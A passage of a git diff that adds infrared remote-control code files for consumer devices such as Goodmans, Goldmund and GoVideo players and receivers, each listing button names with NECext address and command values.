ZOOM/YELLOW +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 42 00 00 00 +# +name: OPTION/BLUE +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 43 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 04 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 1B 00 00 00 +# +name: UP/CH+ +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 00 00 00 00 +# +name: DOWN/CH- +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 01 00 00 00 +# +name: LEFT/VOL- +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 03 00 00 00 +# +name: RIGHT/VOL+ +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 02 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 1F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 1A 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 1C 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 58 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 5D 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 1E 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 40 00 00 00 +# +name: PAGE+ +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 5A 00 00 00 +# +name: PAGE- +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 5F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 19 00 00 00 +# +name: FIND +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 65 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 10 00 00 00 +# +name: MP +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 07 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir b/assets/resources/infrared/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir new file mode 100644 index 000000000..1ed687f56 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 0A 00 00 00 +# +name: FULLINFO +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 0B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 0C 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 0D 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 0E 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 10 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 13 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 15 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 16 00 00 00 +# +name: -100 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 18 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 19 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 1A 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 1B 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 1C 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 1E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 1F 00 00 00 +# +name: LINEINFO +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 40 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 41 00 00 00 +# +name: UHF +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 42 00 00 00 +# +name: KEY_F4 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 43 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 44 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 45 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 46 00 00 00 +# +name: A-Z +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 47 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 48 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 49 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir new file mode 100644 index 000000000..3c1701584 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: PREV_TRACK +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir new file mode 100644 index 000000000..5d4fd543a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: TV/DTV +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 21 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 22 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 26 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 34 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 37 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 3C 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir new file mode 100644 index 000000000..e258f3342 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: REVPLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: PAL_NTSC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: L_R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: SKIP_R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: SKIP_F +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: A_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir b/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir new file mode 100644 index 000000000..7b510936b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0B 00 00 00 +# +name: TIMER_REC +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0D 00 00 00 +# +name: AUDIO_SELECT +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0E 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0F 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 12 00 00 00 +# +name: VCR_ON +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 13 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 16 00 00 00 +# +name: Stop/Down +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 17 00 00 00 +# +name: FF/Right +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 19 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1A 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1D 00 00 00 +# +name: SPEED_SP/LP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1E 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 45 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4A 00 00 00 +# +name: COUNTER_MEMORY +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4B 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 50 00 00 00 +# +name: CLOCK/COUNTER +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 51 00 00 00 +# +name: ATR +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 52 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir b/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir new file mode 100644 index 000000000..bce4672f1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 0A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 11 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 12 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 15 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 16 00 00 00 +# +name: KEY_SPACE +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 17 00 00 00 +# +name: intro +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 18 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 19 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 1A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 1F 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 43 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 48 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 4A 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 4B 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 4D 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 4F 00 00 00 +# +name: tun+ +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 94 00 00 00 +# +name: tun- +type: parsed +protocol: NECext +address: 87 6C 00 00 +command: 95 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir b/assets/resources/infrared/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir new file mode 100644 index 000000000..63d71acf4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 00 00 00 00 +# +name: RightArrow +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 01 00 00 00 +# +name: UpArrow +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 02 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 03 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 04 00 00 00 +# +name: DownArrow +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 05 00 00 00 +# +name: LeftArrow +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 06 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 07 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 08 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 09 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 0A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 0B 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 0C 00 00 00 +# +name: Rev +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 0D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 0E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 11 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 15 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 18 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 19 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1A 00 00 00 +# +name: Network +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1E 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 50 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 51 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 52 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 53 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 54 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 55 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 56 00 00 00 +# +name: Zoom/View +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 57 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 58 00 00 00 +# +name: PS/IS +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 59 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5A 00 00 00 +# +name: Enhance +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5D 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5E 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir new file mode 100644 index 000000000..d6515c36d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: 